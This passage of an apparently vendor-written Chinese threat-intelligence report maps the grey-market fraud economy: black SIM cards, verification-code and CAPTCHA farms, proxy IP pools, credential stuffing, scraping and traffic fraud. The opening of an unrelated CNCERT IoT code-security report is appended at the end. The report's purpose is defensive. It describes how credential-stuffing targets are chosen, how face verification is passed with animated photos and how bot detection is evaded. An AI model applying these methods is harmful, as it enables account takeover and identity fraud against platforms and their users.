黑客获取数据的方式令人好奇。事实上他们是从Uber工程师的私人GitHub库，获得了登录凭证，进而访问了Uber用以计算的亚马逊云服务账户，在账户中发现了用户数据，随即进行了勒索行为。我们不禁发现攻击有时只需要找到一处漏洞，而防守却需要全面严密。而除了防守还有另外一个问题需要我们面对——对已经泄露的数据该如何行动。Uber隐瞒的做法自然是不可取的。
而面对这种问题一个暴力而有效的对抗方式是建立比黑产更庞大的泄露数据库，若能在黑产使用这些用户信息时判定出是已泄露账号，直接触发风控逻辑，便可以进行更严格的审核，绕过黑客的防护手段，对敌人造成无法回避的打击。而建立这样的数据库除了需要有效、实时的收集补充方案，也需要各大厂商的分享和参与，收集多方资料，构建更全面的数据源。
### 5、教材涉黄案
2017年2月，一则“高中教材涉黄”的新闻受到了疯狂转载，人教版高中语文选修教材中的诗词网址打开后竟然是黄色网站。实际上这个网站是遭到了篡改，实施者是一家名叫“雷胜科技”的公司。表面上它是一家互联网应用服务商，而背后却隐藏着一条完整的色情诱导诈骗产业链，“教材涉黄”将它拖出了水面。
诈骗团伙开发色情网站和App，通过限制观看有色视频的时间，诱导用户付费获取完整视频。但事实上并没有所谓的“完整版”，盈利方式就是诈骗用户。这个产业链的每一个环节都是经过精心规划的。
第一环节为开发，技术门槛极低，诈骗团伙能够以极低的价格购买到源码，有经验的开发者也可以在几天之内轻松完成。由于色情内容在我国的违法性，App展示的有色内容会经过精心编辑，能完全规避“淫秽色情”的法律界定。雷胜科技设置了研发、市场、编辑、财务和客服部门。编辑部就是负责剪辑擦边球类的有色视频的，甚至雇有专业律师审核图片和视频。
App上架之后就进入了推广环节，团伙会通过百度联盟、木马程序、修改网站内容链接等方式进行推广。雷胜科技就是修改了教育网站的内容链接被牵引出来的。
之后就到了变现环节。诈骗团伙会从支付平台或者渠道商处申请获得支付接口。申请需要一套完整的公司三证信息（营业执照、税务登记证和组织机构代码证）及银行卡账户，这种在黑市上称为公司“壳”资料，有专人在收集贩卖，注册电商企业店、申请支付接口等都会向其购买。针对于设置了风控模型的第三方平台。诈骗团伙会通过准备多个支付接口，使用可以短时间切换接口的方式进行绕过。
有些色情引流诈骗App还会在安装时获取权限（如发送短信等），之后向特定的SP号码发送短信进行扣费的方式进行盈利。这些app也会捆绑其他恶意业务，或是窃取用户隐私信息等，对用户造成更深的损害。雷胜科技是通过PC端和移动端流量分发引流，然后通过诈骗变现，而更为常见的方式是利用各大社交、视频等平台，引流至微信后变现，在引流模块我们会给出更详细的介绍。
## 二、产业链分析
### 1、上游资源提供者
#### a）黑卡
手机黑卡，指黑灰产从业者手中的大量非正常使用的手机卡。这些黑卡会提供给各个接码平台，用于接收发送验证码，进而进行各种虚假注册、认证业务。比如饿了么新用户有十几元的首单减免，羊毛党会从接码平台获取手机号批量注册，再通过下游将这些首单优惠以一半的价格卖给需要点外卖的人。注册成本是支付一毛钱给接码平台，收益是下游接单人的几元到十几元不等的收购价。而黑卡就是接码平台手机号的源头。
被称为“史上最严”的手机卡实名制举措，确实在一段时间内打压了手机黑卡和接码市场，提供黑卡和接码服务的平台和个人一下子销声匿迹，但好景不长，仅仅几个月后，便出现了强劲的复苏态势，提供黑卡和接码服务的平台和个人如雨后春笋般涌现。至今，该市场已经极具规模，并且运行稳定，给甲方业务安全造成巨大压力。
本着尽可能全面、精准的原则，猎人君从多个途径不遗余力的收集黑卡信息，从市场现存的黑卡，到曾经有恶意行为的黑卡，再到市场新增的黑卡，构建了庞大的黑卡数据库。对每个入库的黑卡号码经行多维度地评估，标注风险等级，可以有效帮助甲方完善基于手机号的风控策略。根据威胁猎人反向追踪调查，黑卡背后的产业链大概如下图所示：
**卡源卡商**
卡源卡商指通过各种渠道（如开皮包公司、与代理商打通系等）从运营商或者代理商那里办理大量手机卡，通过加价转卖下游卡商赚取利润的货源持有者。卡源主要有：
* 物联网卡：主要用于工业、交通、物流等领域的手机卡。物联网卡无须实名认证，需要以企业名义办理，提供营业执照即可，营业执照可以以千元左右的价格买到。有些运营商对营业执照检测力度很低，甚至会为灰产定制专用的物联网卡套餐。这种卡多为0月租或者1月租，根据能否接听电话，分为短信卡（也称注册卡）和语音卡。
* 实名卡：这种多为联络运营商后，用网上收集的大量身份信息批量认证得到的。
* 海外卡：实名制实施后，卡商受到一定限制。从16年下半年开始，大量缅甸、越南、印尼等东南亚卡开始进入国内手机黑卡产业，这些卡支持GSM网络，国内可以直接使用，无需实名认证，基本是0月租，收短信免费，非常切合黑产利益。
如上述东鹏特饮提到的薅羊毛事件中，我们只看到有人大量售卖账号，其实背后有个非常成熟的产业链，各级分工明确。了解了他们的经营方式后，我们再进一步分析黑卡数据可以发现运营商的比例甚至可以定位到犯罪团伙经常活动的城市。
**手机黑卡运营商对比**
****
下图展示了传统运营商和虚拟运营商黑卡的数量对比。来自传统运营商的黑卡数量要远多于来自虚拟运营商的黑卡数量，毕竟传统运营商和虚拟运营商的手机卡总量不在同一个数量级上。2017年8月份的新闻数据表明，全国虚拟运营商用户占移动用户总数的3.6%，3.6%的用户占比却贡献了20.17%的黑卡数量占比。相对传统运营商而言，虚拟运营商的手机卡中黑卡占比较高。
****
以下两张图展示了在非虚拟号段上和虚拟号段上三大运营商的黑卡数量对比。在非虚拟号段上，将近一半的手机黑卡来自于中国移动，约三分之一来自于中国联通，中国电信最少。在虚拟号段上，绝大多数是中国联通的手机黑卡，中国移动次之，中国电信依旧最少。
**手机黑卡归属地分布**
****
依据归属地统计的数据，广东省十分抢眼，在黑卡归属地省份排名中遥遥领先，省内的广州、深圳、东莞和佛山也霸占了黑卡归属地城市排名中前五名中的四名。
**猫池厂家**
****
猫池厂家负责生产猫池设备，并将设备卖给卡商使用。猫池是一种插上手机卡就可以模拟手机进行收发短信、接打电话、上网等功能的设备，在正常行业也有广泛应用，如邮电局、银行、证券商、各类交易所、各类信息呼叫中心等。猫池设备可以实现对多张手机卡的管理。
**卡商**
****
卡商从卡源卡商那里大量购买手机黑卡，将黑卡插入猫池设备并接入卡商平台，然后通过卡商平台接各种验证码业务，根据业务类型的不同，每条验证码可以获得0.1元-3元不等的收入。
黑卡数据库能够结合企业自身的后台数据，作为补充和参考，为企业筛选恶意用户提供账号维度上的支持。
#### b）黑IP
IP地址作为互联网的紧缺资源、一直是厂商最重要的风控方案之一。面对攻击，最主流防控措施之一就是封IP，企业根据黑IP库、同IP发起请求次数、密码错误率、是否有恶意行为等决定一段时间内禁止某IP的请求。
而面对暴利，黑产不会轻易放弃，对待厂商的对抗，黑产积极主动寻求解决方案，甚至做到了平台化、链条化的反对抗。根据威胁猎人的长期监控，黑产主要有以下几种获取IP资源的方式：
* 扫描代理：通过全网扫描常见的代理服务端口，收集可用的代理IP地址，自行维护管理，成本高、效率低。
* 付费代理：代理商通过扫描、搭建、交换的方式，提供全球的代理服务器，有效降低自行收集的产品。代理IP平台非常之多，均可以提供API接口供黑产调用。
* 付费VPN：与代理相似，使用技术不同。
* 拨号VPS：这类VPS是一台虚拟服务器，通过ADSL拨号上网，每拨号一次换一次IP，使用者相当于拥有了整个城市的大量可用IP。更有相关供应商做到了打通全国多省市的拨号方式，俗称混拨。也就实现了在一台VPS中使用一个账号快速随机切换近百城市的ADSL线路拨入互联网。
我们称这种用于网络攻击的IP为黑IP。威胁猎人通过大量渠道，在2017年采集并整理出全球范围内的黑IP，并做了详细分类。
**黑IP类型排名**
****
经统计，黑IP top 10类型比例如下。一个黑IP可能会有多个标签，整体看来，僵尸网络IP、机器人IP和代理IP的数量占据前三名。
**黑IP地域分布**
****
分析IP地域来源数据，全球黑IP分布图和top
20的国家如下。全球IPv4总数约为43亿，美国拥有30%以上，这一数据与图片相符，美国的黑IP数量占比36.39%，遥遥领先其他国家。发达国家的黑IP数量要多于发展中国国家，可以简单理解为，发达国家拥有更多的互联网设备，也就拥有更多的IP资源，所以黑IP的数量与互联网设备的数量成正比。
****
以下两张图片为全球黑IP来源城市top 20和全球黑IP所属运营商top
10。从来源城市数据看来，top榜单中大多数是美国城市，中国城市数量紧随其后，其中北京更是占据了榜首。上榜的城市都是经济较为发达的城市。从所属运营商数据看来，top
10中一半是美国的运营商。
#### c）账号
**批量注册和养号：**
在互联网灰产中，无论是行迹匆匆的羊毛党，还是猥琐发育的养号者，都需要大量账号作为牟利的支撑。因此，注册环节也就成了互联网公司和灰产的最前沿战场。各公司的注册页面看似平淡，实则暗流涌动。
灰产的逐利本性决定他们非常强调投入产出比。灰产会雇佣开发人员开发针对注册环节的自动化攻击工具。这种注册软件大抵有两类：
* 模拟操作类：通过控件操作浏览器元素实现，真实加载注册页面，模拟用户操作。
* 协议破解类：通过HTTPS协议实现，破解注册接口协议，直接带参数调用注册接口实现注册。
除了批量注册外，灰产也会根据平台特色，使用其他平台第三方登录的方式跳转成小号，批量产出，例如有一种微博账号叫做授权号，因为注册流程等原因，在微博平台受到风控限制，很难进行后续变现业务，就只用作授权其他平台账号，在其他平台上完成变现。这种授权号成本低于手机号注册，每个只需要几分钱。
针对这类账号，很多厂商会对新注册账号进行监控，于是产生了号商养号的行为，注册后模仿真实用户进行一些操作，将号码从监控列表剔除之后再进行业务。
薅羊毛的新号、刷量的小号都是通过这些方式得到的，但针对苹果风控被灰产需要的老号就需要通过盗号、养号、撞库获得了。当各个平台增加风控后，这类老号需求就会出现，如微信满月号、陌陌半年号等等属于养号，几年扫号老号等属于盗号或撞库所得。
**撞库**
****
撞库，即攻击者通过收集各个网站的泄露的用户数据等方式，生成用户名和密码字典，批量去其他网站登录，尝试撞出目标网站的可用账户密码。近年来，随着频繁出现的数据库泄露事件，撞库攻击取代了木马盗号成为了主流的盗号方式。
下图为猎人君统计的2017年撞库攻击量走势图：
以下是2017年撞库攻击者“钟爱”的一些攻击目标和接口：
**撞库攻击接口**
| **描述**
---|---
**reg.gyyx.cn/******** | 光宇游戏账号撞库
**redstone.logickorea.co.kr/******** | 韩国游戏公司L&K Logic Korea账号撞库
**api.vk.com/******** | 俄罗斯社交服务提供商VK账号撞库
**lgn.yy.com/******** | YY账号撞库
**signin.ea.com/******** | 美国游戏公司EA账号撞库
**m.mail.ru/******** | 俄罗斯互联网服务提供商Mail.Ru账号撞库
**user.cyphers.nexon.com/******** | 韩国游戏公司Nexon账号撞库
**www.netflix.com/******** | 美国网络视频点播服务提供商Netflix账号撞库
**store.steampowered.com/******** | 美国数字发行平台Steam账号撞库
**accounts.spotify.com/******** | 瑞典音乐流服务提供商Spotify账号撞库
**api.paypal.com/******** | 美国第三方支付服务提供商PayPal账号撞库
**api.airbnb.com/******** | 美国房屋出租平台Airbnb账号撞库
**account.sogou.com/******** | 搜狗通行证撞库
**security.snssdk.com/******** | 今日头条账号撞库
**www.instagram.com/******** | 美国图片视频分享平台Instagram账号撞库
游戏行业在地上互联网公司也是盈利最为可观的，在地下自然也聚集了大量相关从业人员，拥有众多的细分变现产业链。能否直接获得游戏账号的撞库方案自然是受黑客欢迎与关注的，因此，游戏公司向来是撞库攻击的高发地。国内外各大游戏公司在2017年都持续受到大量的撞库攻击。
版权行业和社交行业也是深受其害，随着正版化的推进以及带宽的增加，许多相关资源需要付费观看，存在不愿意花高价购买会员，而愿意用低价购买一个账号使用的人，就会存在这些会员账号变现的途径，进而这些账号也就是对黑产有价值的。
社交行业也拥有数量众多的变现方式，主要的灰产有刷量（点赞、播放量、榜单等）、私信引流、色情社交引流、诈骗等。社交平台对抗的风控策略不断升级，社交平台的老账号也就成了某些圈内富有价值的资源，如某陌交友平台的老号价格在30元以上。老号资源意味着封杀率低、生意可持续。因此，社交账号也是黑产的重要目标。
**撞库数据来源**
****
（1）信封号产业链
信封号，是QQ号产业链中的黑话，每一万个或者一千个被盗取的QQ号，称为一个信封。信封号产业链就是QQ号盗取、销赃的产业链。当QQ号中的Q币、游戏虚拟装备等被清洗一空、压榨干净后。就会将大量的账号密码贩卖给黑客完善社工库，或者制作密码字典。由于QQ邮箱在国内的市场占有率很高，以及很多用户习惯直接用QQ号对应的QQ邮箱和密码作为第三方平台的账号。大量QQ号被直接用来进行网站撞库。
（2）网站泄露数据库
网站泄露数据库的标志性事件是2011年CSDN
600万用户数据泄露，引领了当年一波数据泄露高峰，数十个网站的用户数据被公开，大量只在地下流通的数据被抛上台面。平时不关注此道的黑客也掌握了足够的数据源切入，某种程度上点燃了撞库攻击的热潮。而且被爆出的数据泄露其实也只是冰山一角，更多的再地下黑市中交易流通。
（3）地下黑市流通
数据窃取与交易是地下产业链隐藏最深的部分，也常有一些定制性的交易，不少黑客通过数据交易来构建庞大的社工库。黑客间的私下交易，我们无法得知，到底有多少网站数据已经被窃取也无法客观的评估。但通过半公开渠道也可管中窥豹，以下是暗网某地下数据交易市场的截图：
**攻击方法和主流防控**
****
通过对海量攻击行为的监控和分析，我们发现黑客攻击方法如下：
（1）判断账号是否存在
* 注册接口快速验证：很多网站在填写注册信息时，会通过AJAX对账户名可用性做实时验证，这个接口就可以被黑客利用做账户存在的筛选。
* 登录接口返回信息：部分网站账号密码错误时，会返回敏感信息暴露账号存在情况，如返回“账号不存在”或“密码错误”。现越来越多的厂商返回“账号或密码错误”，可以有效避免被利用。
* 找回密码接口：部分网站，在找回密码流程中，也会有一次提示信息，也常会被黑客用来验证账户存在。
（2）业务安全集中管理问题突出
从TH-Karma统计的数据来看，许多网站的主要入口有比较严格的审计措施，会根据登录IP、频率等触发验证码或者封锁IP。但当公司业务增多，安全管理复杂度大幅增加，不同子站各用一套自己登录验证。这些没有接入审计功能的边缘业务接口就称为了黑客攻击的温床。
（3）攻击效果
根据威胁猎人对大量撞库数据的统计，能够成功绕过风控的攻击占供攻击量的83%，撞库的成功率则在0.4%左右浮动。
对此威胁猎人建立维护了一个高危账号库。高危账号指的是已被黑灰产从业者恶意利用的账号，大多来自泄露的数据库。对于甲方而言，看到这些账号要多一份心眼，很有可能背后暗藏着不轨动机。威胁猎人根据在2017年高危账号，做出了一些统计。
（1）高危邮箱账号域名排名
Top 20的高危邮箱账号域名如下：
国内邮箱域名占据60%以上，其中以163.com、qq.com和game.sohu.com为主。国外主流邮箱域名（例如yahoo.com、gmail.com和hotmail.com），以及一些俄罗斯邮箱域名（例如mail.ru和yandex.ru）和德国邮箱域名（例如web.de）也位列top
20之内。基本可以看出，top 20的高危邮箱账号域名的至少满足以下条件之一：
* 邮箱服务用户基数大；
* 来自于黑灰产活动活跃的地区。
（2）高危账号关联密码排名
此外，猎人君也统计了与高危账号关联的密码，数量排名top 20都是一些常见的弱密码，列表如下：
**排名** | **高危账号关联密码**
---|---
**1** | 123456
**2** | 123456789
**3** | 111111
**4** | 12345678
**5** | 123123
**6** | 5201314
**7** | a123456
**8** | password
**9** | 11111111
**10** | 1234567890
**11** | 1234567
**12** | 123321
**13** | qwerty
**14** | gotye1
**15** | rugby1
**16** | abc123
**17** | 666666
**18** | 12345
**19** | 123456a
**20** | 1314520
#### d）账户认证
账户认证产业链属于地下产业链中的服务型产业链。几乎所有的互联网企业都会要求用户手机认证，有些还要求实名认证、人脸识别验证，配合技术或人工审核。这必然给各个地下产业链都带来了障碍，账户认证产业链自然就应运而生了。
**手机接码、听码**
****
短信验证是建立在手机和手机号成本上的真人验证，被广泛的应用于注册等场景。如上述黑卡产业链的介绍，黑产的对抗方案并不依赖于手机和办卡成本，而是接码平台，黑产从业者从该类平台接收一个验证码需要支付1-3毛钱。
接码平台是负责连接卡商和羊毛党、号商等有手机验证码需求的群体，提供软件支持、业务结算等平台服务，通过业务分成获利。一般会提供给使用者客户端、API、有些还会提供手机客户端。手机客户端用以支持各种手机业务。而API能够对接到自动化工具、脚本中，实现批量注册。
使用者首先要“收藏”自己要做的项目后才可以收取验证码，这样做的好处是避免手机号在相同注册场景的重复使用，同时也便于应对新形式的对抗，比如，整个注册过程可能需要接收多次验证码，并发送一次验证码。平台会将收发集成一个流程，供使用者批量化操作。
有些厂商选择了语音验证码，而接码平台也产生了相应收取语音验证码的服务，同时也产生了“听码”网赚。接码平台很多，活跃的有数十家，比较知名的接码平台有：爱乐赞、玉米（现菜众享）、Thewolf、星辰等，其中Thewolf和星辰可以接语音验证码。
2016年11月当时最大的平台爱码被警方查处，随后很多平台转入地下。如爱乐赞因为非常稳定，卡商众多，是最受黑产欢迎的接码平台之一。现已不支持在线注册，在有老客户介绍情况下，联系客服充值1000元才可以开新账户，另一种解决方式是与别人共用一个账号，且每次充值不能低于5元，否则会被封号。
****
**打码**
****
验证码是风控最广泛的一种部署方案。普通厂商会直接接入，有后台分析的厂商会在后台审计异常时触发验证码以不影响普通用户体验。而在黑产中，撞库、注册等都需要进行大量验证码识别。所以带动了另一个服务产业链——打码平台。
作为一种最简单、应用最广泛的图灵测试方案，大量公司和团队不断尝试自动化破解，以至于验证码升级到了人类也需要多次才能识别的境地。国内的黑产，依靠低廉的劳动力解决了问题。他们对无法技术解决的验证码使用率暴力的方式——人工打码进行破解。这种方式广泛传播到了大量第三世界国家，导致全球有近百万人以此为生。打码工人平均每码收入1-2分钱，熟练工每分钟可以打码20个左右，每小时收入10-15元。
随着技术的发展，黑产也与时俱进，逐渐产生了使用AI打码的平台。如警方在17年打击的“快啊答题”平台，使用了伯克利大学的数据模型，引入大量验证码数据对识别系统训练，将机器识别验证码的能力提高了2000倍，价格降低到了每千次15-20元。为撞库等需要验证的业务提供了极大的便利。
****
**身份证认证及过脸**
****
人脸识别技术发展逐渐成熟，“刷脸”在近两年成为新时期生物识别技术应用的主要场景。进入2017年后，在通关、金融、电信、公证等很多领域都需要对人和证件进行一致性的验证。2016年6月国家网信办发布《移动互联网应用程序信息服务管理规定》，明确要求移动互联网应用程序按照“后台实名、前台自愿”的原则，对注册用户进行基于移动电话号码等真实身份信息认证。
互联网厂商面对法规以及某些业务上的需求，纷纷推出账号强制实名认证，并将人脸认证环节放到App中完成。实名让互联网时代更加规范的同时，也给由于某些原因无法实名或者需要大量实名账号完成黑灰色业务的人群造成了障碍，于是“过脸产业”应运而生，为别人批量完成认证获取利益。
厂商认证时经常会要求用户拍摄身份证正反面照片及手持身份证照片等。黑产获取此类身份证“料”的方式有但不限于以下几种：
* 收料人偏远地区收集：他们会到偏远地区以几十元的价格大量购买拍摄一整套的照片，没有网络安全意思的民众很多为了一点的利益愿意配合。
* 有些收料人甚至会假扮社区工作人员等在社区中进行收集，相对前一种，几乎没有成本。
* 还有一种纯粹通过网络收集他人泄露出的照片。
收集后会以5-10元的价格卖给下一级使用者。对于需要过人脸认证的场景，从业者会利用PS等工具处理好一张带背景的人脸图，再利用Crazy
Talk生成动态视频的软件，录制“眨眼”、“摇头”、“说话”等动作，完成后将摄像头对准视频，完成认证，过脸服务收费10元到100元不等。
过脸产业最开始被用在网络借贷薅羊毛上，如今已经广泛使用在各种实名认证的业务上。今日头条头条号、58同城、移动“任我行”卡、腾讯大王卡等都是其盈利的途径。
账号认证增加难度和用户体验优化之间找到平衡点，对各个厂商来说都是不小的难点。在苹果36事件中，就是为了提升用户体验给羊毛党留下了可乘之机。苹果若能对筛选出的恶意用户提高认证成本，就可以找到平衡点。而做到这点需要对用户行为和恶意行为进行分析。用户行为厂商可以进行记录，恶意行为需要情报的配合，包括恶意用户的行动模式、流程、最终目的等。
### 2、下游变现细分产业
#### a）流量欺诈
流量欺诈已经发展成了成熟的产业链，刷量可通过人为的操作提高网页访问量、视频播放量、广告点击量、搜索引擎搜索量等等。市场充斥着大量刷量工具和服务，几元就可以买到数千IP的访问。或是使用大量代理IP刷流量，或是基于P2P互刷原理（即挂机访问别人的网站，得到点数后可以用来发布任务，为自己的网站刷量），刷量可以高度模拟真实用户的行为轨迹，使得视频网站、直播平台、广告联盟、搜索引擎、电商等甲方难以有效加以区分。猎人君通过分析在2017年捕获的流量刷量数据，得出以下流量刷量黑灰产业中目标厂商的top
10：
**刷量行为主要集中在以下几个场景**
****
（1）刷搜索引擎关键词排名
搜索引擎排名对网站的流量影响巨大。市场上有提供很多提高关键词排名的服务，原理是利用大量IP在搜索引擎搜索指定关键词，然后到指定网站，点击进入，甚至进一步模仿用户浏览、点击，欺骗搜索引擎，使其认为该站与该关键词关联度很高。百度，作为国内最大的流量出入口，榜首位置实至名归。针对百度的流量刷量类型有多种，主要类型包括刷搜索流量和点击百度网盟广告。2017年底，百度推出“惊雷算法”，旨在打击以作弊的方式提升网站搜索排序的行为，究竟效果如何，2018年我们拭目以待。Top
10榜单中还出现了360搜索和中国搜索，刷搜索流量在整个流量刷量产业中的比重可见一斑。
（2）刷视频播放量
另一个流量刷量产业的大头是刷视频播放量，目标厂商包括榜单中的优酷、搜狐、龙珠视频/直播、爱奇艺、腾讯等，以及不在榜单中的触手直播、风行网等。很多视频有夸张的播放量，点赞和回复却寥寥无几。视频网站依据视频人气付给视频作者酬劳，虚假的播放量可直接导致视频网站蒙受金钱上的损失。对于用户来说，人气很高的热门视频，内容质量却名不副实，用户体验下降。
（3）刷广告展示量和点击量
通常告主会和广告联盟或站长合作，进行推广，按照CPM、CPC的方式结算广告费用给站长。一些无良的站长会使用软件或者购买服务恶意刷CPM、CPC，获取不正当利益。广告联盟存在一些广告反欺诈机制，刷量有可能面临封号，但依旧有很多人通过刷量技巧和网站数量来大规模获利。
（4）电商和网站访问量
此外，刷页面的访问量，包括刷社交站点的内容曝光量和电商商品浏览量，也是流量刷量产业中相当活跃的一个分支，比如新浪博客的访问量，以及淘宝和天猫商品的浏览量等。总而言之，当今的互联网世界中，充满了障眼法，眼见不一定为实，所谓的“人气排名”，所谓的“热门列表”，不可完全相信。
#### b）数据爬取采集
爬虫就是收集信息，“爬虫写的好，拥有整个互联网的数据不是梦”。数据分析本身并没有善恶标签，方法和目的却可以将之定性。黑灰产如今规模庞大，分支众多，从猎人君观察到的攻击流量来看，黑灰产从业者的需求比较分散，快递、媒体、电商、账号有效性等等都是攻击者的目标。黑灰产从业者做爬虫的目的多种多样，比如：
* 用作产品化上游的数据支撑，比如某些针对电商的秒杀、抢购软件。
* 用作分析竞争对手的产品和业务策略，比如爬取竞争对手的产品信息和用户论坛。
* 爬取竞争对手的用户数据，尤其是有效的手机号或邮箱格式的用户名，之后可用于定向的推广营销。
* 爬取有效的用户名，可用于生成用户名字典，实施撞库攻击。
* 爬取个人信息，恶意利用，甚至实施诈骗。
以下是猎人君统计的2017年较为热门的一些爬虫攻击目标和接口：
**爬虫攻击接口** | **描述**
---|---
**ykjcx.yundasys.com/******** | 爬取韵达快件查询信息
**zc.reg.163.com/******** | 检测网易账号有效性
**comment5.news.sina.com.cn/******** | 爬取新浪新闻评论
**www.toutiao.com/******** | 爬取今日头条文章
**mp.sohu.com/******** | 爬取搜狐号文章
**m.10010.com/******** | 检测联通手机号有效性
**www.bjguahao.gov.cn/******** | 爬取北京市预约挂号统一平台挂号医生信息
**hws.m.taobao.com/******** | 爬取淘宝商品信息
**itunes.apple.com/******** | 爬取iTunes上app信息
**iforgot.apple.com/******** | 检测Apple ID有效性
#### c）薅羊毛
薅羊毛，简单理解就是，以不正当的方式获取互联网上的各种福利，如新用户注册红包。这些人不以“利小而不为”，只要是看到福利，能薅则薅，使得互联网公司的推广经费中很大一笔部分都打了水漂。薅羊毛入门门槛极低，如今，薅羊毛规模之大，足以称之为一个行业。薅羊毛行业紧紧依附互联网行业，与互联网行业的以等同的速度发展。2017年，薅羊毛活动如火如荼，主要针对各类金融平台、电商平台以及O2O平台。
威胁猎人总结了一份2017羊毛热词云图，如下所示：
词云图的中央，是大大的两个字“会员”，各类会员，包括低价会员甚至是免费会员，深得众羊毛党的喜爱。其他福利，比如优惠券、红包、商品秒杀、激活码、各类低价QQ钻等，也有较高的词频。认领福利需要账号，账号相关的关键词，比如注册、老号、白号、小号等，也是榜上有名。既然有账号，就有连带的账号实名业务，比如认证、绑定、实名等。另外，不出意外的是，“骗子”的词频相当高，黑灰产市场本来就不受法律保护，“黑吃黑”的现象也较为普遍。
#### d）引流
有一些不适合直接变现却坐拥巨大流量的平台，比如短视频平台、社交平台等，黑产也不会放弃，采用引流方式进行变现。一个简单的引流变现操作是这样的：操作者在头像、昵称、个人资料等任何可以被平台曝光的地方留下联系方式，比如微信号，再通过发送诱惑性的内容吸引用户前往添加好友，之后通过诈骗、微商等形式深度变现。
常见的社交平台引流方法，是通过软件批量关注、发送私信等方式。一些引流操作可以带来巨大的流量，个人无法消耗，会以“出粉”形式卖出，即买家根据成功添加微信的“人头”数，付给引流者报酬。
引流人往往会结合目标用户的心理以及引流平台的特点，进行操作，如到美拍的美妆视频下写“前100人免费送XXX化妆水”，吸引可以通过微商变现的“女粉”。在陌陌等平台上通过诱惑性图片、视频加上“想交男朋友”等话术，吸引“色粉”（“男粉”），在微信中骗取红包或是销售一些男性用品。
诸如此类，还有“保健粉”（可用于销售医疗用品）、“连信粉”（中年有消费力的）、“股民粉”、“宝妈粉”、“女大学生粉”等等。在业内叫做精准引流，用户群体越精准，价格越高。而购买者有两类，一种是真实微商，另一种就是我们在东鹏特饮中提到的，用微信作为变现出口的黑产，如引来色粉后撸包，即诈骗，用微信机器人伪装成女性，通过发送诱惑图片视频的方式索要红包。
这种方式只能骗一次，所以他们需要引流人给他们源源不断的粉，称为“火车站流量”，而微信被举报后账号就报销了，所以他们会向号商购买账号，做到最后，变现可以用量化标准来计算收益，微信号平均多久会死，谁家引来的粉平均每个人头几块钱……单从这一条往下看，引流和号商一直都有市场，会持续存在，而他们需要绕过厂商的风控，又需要一系列的服务型产业链，他们都会持续的与厂商对抗，只要利益不消失，对抗就会持续升级。
## 三、对抗升级
### 1、主流防控措施和黑产绕过方法
面对恶意行为，除去IP等规则判断，厂商也会从行为和设备角度进行判断。如用户登录过程的行为，包括停留时间、鼠标焦点、页面访问流程、csrf-token等。再通过客户端上报机器信息，识别判定是否存在伪造设备。
而面对对抗，黑产也在不断升级，主要会从以下几个方面进行绕过：
* 边缘业务与新业务处寻找可利用接口：黑灰产不断寻找审计不严格的边缘业务接口，找到后便能绕过所有的防护措施，如入无人之境。而厂商在这个维度上很难有行之有效的监控，因为本来就是被疏忽的接口。这里可以从第三方视角进行监控。威胁猎人对黑产流量进行大数据分析，可以是这种伎俩暴露在阳光下，何人何时攻击了新的接口，从攻击出发分析检测，可极大增强厂商对漏洞的反应速度。
* 模仿真实用户：规避后台行为分析模型方面，黑卡提交请求时不再是仅仅填写User-Agent，而是尽可能全的完成整个流程，包括：完整的页面打卡流程代替仅仅向关键接口提交请求；携带csrf-token等完备的参数；页面停留时间采用函数随机化；HTTP header严格遵守浏览器特征；随机化所有其他不重要的参数等。
### 2、新风控角度的思考
企业制定安全策略往往存在两个问题：
* 是安全策略面向所有客户，灰产可以不断尝试摸清规律，设法绕过。
* 对最新的攻击方式不了解，导致制定防御策略无法有效打击黑产，反而容易误伤正常用户。
* 面对后台数据，只知道自己拦截了多少恶意用户，不知道有多少没有拦截。
因此威胁猎人从行业出发，针对电商、社交、游戏、云计算等不同行业的不同特点，逐一分析，还原真实攻击场景，以期望解决企业面临攻防信息不对等的问题，为企业精准防御灰产攻击提供数据补充、情报支撑。
#### a）黑产大数据监控
基于黑产攻击的资源建立持续监控机制，对已经泄露和已经在使用的黑IP、黑卡、批量注册账号、盗取账号、恶意流量等进行积累和实时更新。就能结合风控系统，从多个维度判断，有效筛选出可疑用户。
#### b）情报带来的针对性对抗
情报收集和分析工作可以有效的还原出某个针对企业的攻击方式，用于针对性打击。如通过情报和数据结合分析，得出攻击者的目的、攻击流程和行动模式后，厂商就可以多维度的打击，如A场景检测到却在B场景打击，让攻击者摸不着头脑，测试不出套路。在入口处有所遗漏时，还可以在出口处再次进行打击，如注册处或许没有全部拦截，当检测到注册后立即绑卡抢红包提现一气呵成的用户，标记高级别危险标签，提高提现门槛等。
## 结语
传统的“你来我往”、“亡羊补牢式”的攻防策略已无法有效与现在的黑灰产势力抗衡，作为防守方的甲方应当将战场向前推进，步步逼近黑灰产大本营，以争取更多的主动权。情报收集、风险侦测和威胁感知将是新型对抗模型中的三把利刃，能够帮助甲方做到“知彼知己，
_百战不殆_ ”。 | 社区文章 |
# 开源软件代码安全缺陷分析报告——物联网软件专题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，CNCERT发布了《开源软件代码安全缺陷分析报告——物联网软件专题》。本期报告选取全球20款知名物联网软件进行源代码安全缺陷分析，结合缺陷分析工具和人工审计的结果，评估项目的安全性。360代码卫士团队为本期报告提供了技术支持。
## 1、概述
随着软件技术飞速发展，开源软件已在全球范围内得到了广泛应用。数据显示，99%的组织在其IT系统中使用了开源软件。开源软件的代码一旦存在安全问题，必将造成广泛、严重的影响。为了解开源软件的安全情况，CNCERT持续对广泛使用的知名开源软件进行源代码安全缺陷分析，并发布季度安全缺陷分析报告。
自2005年国际电信联盟（ITU）正式提出“物联网（IoT）”这一概念以来，物联网在全球范围内迅速获得认可。随着物联网技术的发展创新，大量智能家居和可穿戴设备进入了人们的生活，“万物互联”成为全球网络未来发展的重要方向。根据Gartner报告预测，2020年全球物联网设备数量将高达260亿个。然而，由于安全标准滞后，以及智能设备制造商缺乏安全意识和投入，物联网已经埋下极大隐患，为个人隐私、企业信息安全甚至国家关键基础设施带来严重的安全威胁。
本期报告选取全球20款知名物联网软件进行源代码安全缺陷分析，结合缺陷分析工具和人工审计的结果，评估项目的安全性。从测评结果来看，与往期其他领域开源软件相比，物联网类软件的安全缺陷较多，潜在的安全问题不容忽视。同时，技术人员随机抽取安全缺陷进行人工利用，发现存在能够被证实的安全漏洞，通过漏洞能够获取物联网云端服务器权限，一旦该漏洞被黑客利用，则存在物联网设备被远程操纵的安全风险。
## 2、被测开源软件
